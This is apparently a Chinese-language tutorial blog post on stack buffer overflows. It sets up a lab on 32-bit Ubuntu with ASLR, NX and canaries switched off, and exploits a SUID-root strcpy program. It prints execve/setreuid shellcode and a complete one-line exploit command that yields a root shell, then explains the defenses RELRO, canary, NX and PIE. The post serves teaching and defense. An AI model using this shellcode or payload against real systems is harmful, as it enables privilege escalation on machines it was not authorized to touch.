初探缓冲区溢出

0x00 前言

  • 缓冲区溢出是一种历史悠久的漏洞,早在 1988 年,由罗伯特,莫里斯(R ob。rtMorris)制造的 Morris 蠕虫,它曾造成全世界6000多台网络服务器瘫痪。
  • 虽然这一漏洞出现时间很久远,现有的防御方法也很有效,但我觉得它依然有很大的研究意义。毕竟攻防没有任何一端会停滞,理解旧的漏洞也是为了更好地理解新的攻击手段,进而更好地完善防御方法。

0x01 环境

  • ubuntu 16.04.4 LTS x86-64

  • 由于现代操作系统针对缓冲区溢出已经有很完善的防御机制,为方便演示,我们进行如下配置:

    • 关闭 ASLR
      /proc/sys/kernel/randomize_va_space文件中保存有 ASLR 的信息,开启时的值不为 0

      我们切换到 root 用户,执行

      1
      echo 0 > /proc/sys/kernel/randomize_va_space


      这样就关闭了 ASLR

    • 关闭 NX 和 栈保护(Canary)
      编译参数:gcc -g -m32 -fno-stack-protector -z execstack

  • 文章最后会具体介绍防御的方法

0x02 具体步骤

  1. 首先看一下源代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    #include <stdio.h>
    #include <string.h>

    void vuln(char *s) {
    char buf[128];
    strcpy(buf, s);
    printf("%s\n", buf);
    }

    int main(int argc, char * argv[]) {
    vuln(argv[1]);
    return 0;
    }

    通过 strcpy 函数,我们将argv[1]的值直接拷贝给 buf,如果长度大于其缓冲区的长度,将会发生溢出,只要能正确覆盖 vuln 的返回值,我们就能控制程序流。

  2. 编译并将可执行程序的所有者改为 root,并置 SUID 位

  3. 对 main 和 vuln 反汇编

    lea -0x88(%esp), %eax是将 buf 的起始地址赋值给 eax 寄存器,因此,buf 距离 ebp 的偏移是 0x88,payload 总长度再加上 4 字节(覆盖 ebp)和 4 字节(覆盖返回地址)即可。这样,我们可以这样构造 payload:blabla(96 字节) + shellcode(44 字节) + ret_addr(4 字节)

  4. 那么shellcode 应该长啥样呢?

    • 首先要明确两点,一是获取 shell,二是以 root 权限执行,为方便实现后者,我已经在第二步对可执行程序设置了 SUID 位。

    • 对于第一点,我们可以让程序执行execve("/bin/sh", 0, 0)这样的语句,在 x86 32 位平台下,该函数执行本质是这样的:三个参数分别保存到 ebx、ecx、edx,进而根据系统调用号(存放在 eax 中),通过int 0x80中断,调用了sys_execve。因此,构造的 shellcode 类似这样:

      1
      2
      3
      4
      5
      mov "/bin/sh", %ebx
      mov $0, %ecx
      mov $0, %edx
      mov $0xb, %eax
      int $0x80 ;调用 execve
    • 对于第二点,我们可以通过setreuid(geteuid(), geteuid())实现,该函数将geteuid()(根据 SUID 位,返回值是 0)得到的值设置为目前进程真实用户识别码,这样,获得的 shell 就是 root 用户的了。为此,shellcode 类似这样:

      1
      2
      3
      4
      5
      6
      mov $0xc9, %eax
      int $0x80 ;调用 geteuid,返回值存于 eax
      mov %eax, %ebx
      mov %eax, %ecx
      mov $0xcb, %eax
      int $0x80 ;调用 setreuid
    • 由于程序编译成 32 位,因此系统调用号可以按下面的方法找:

    • 完整 shellcode 如下:

  5. 最后,要确定 shellcode 的地址,由于关闭了 ASLR,所以每次执行程序,shellcode 在地址空间中的位置都是不变的。我们 gdb 调试程序:


    shellcode 会出现在 0xffffd181 处,所以,payload 最后面四个字节应该是(注意是小端序):\x81\xd1\xff\xff

  6. exp

    1
    ./overflow `python -c 'print "A" * 46 + "\x31\xc0\xb0\xc9\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\xcb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "A" * 50 + "\x81\xd1\xff\xff"'`

    0x03 防御

    通过 checksec 看一下可执行程序的防御机制

    Arch 是运行平台

  7. RELRO
    RELRO会有 Partial RELRO 和 FULL RELRO,如果开启FULL RELRO,意味着我们无法修改 GOT 表

  8. Stack
    要想执行任意代码,需要覆盖函数的返回地址。Canary 机制就是为了防止这一手段,可以把它看成是一个随机值,在被调用函数压入 EBP 前压入栈(即位于返回地址和 EBP 之间),当函数返回时,会先验证这个值是否改变,如果改变了,程序停止执行。这样就防止攻击者覆盖返回地址。当然,如果 Canary 随机值由于某种情况泄漏,依然可以造成攻击。

  9. NX
    也称 DEP(数据执行保护),如果启用,地址空间中任何用户可控的地方都会禁止执行,可执行部分也禁止用户写入。常通过 Ret2Lib 以及 ROP 去绕过。

  10. PIE
    如果开启了,程序每次运行地址都会变化(比如库函数、变量等,再例如之前的 shellcode 地址就没法通过gdb 调试得到结果,因为每次执行程序 shellcode 的地址都不同)。但仍可通过 libc 基址泄漏、构造 ROP 方式构造攻击向量,甚至在 32 位机器上可以暴力破解。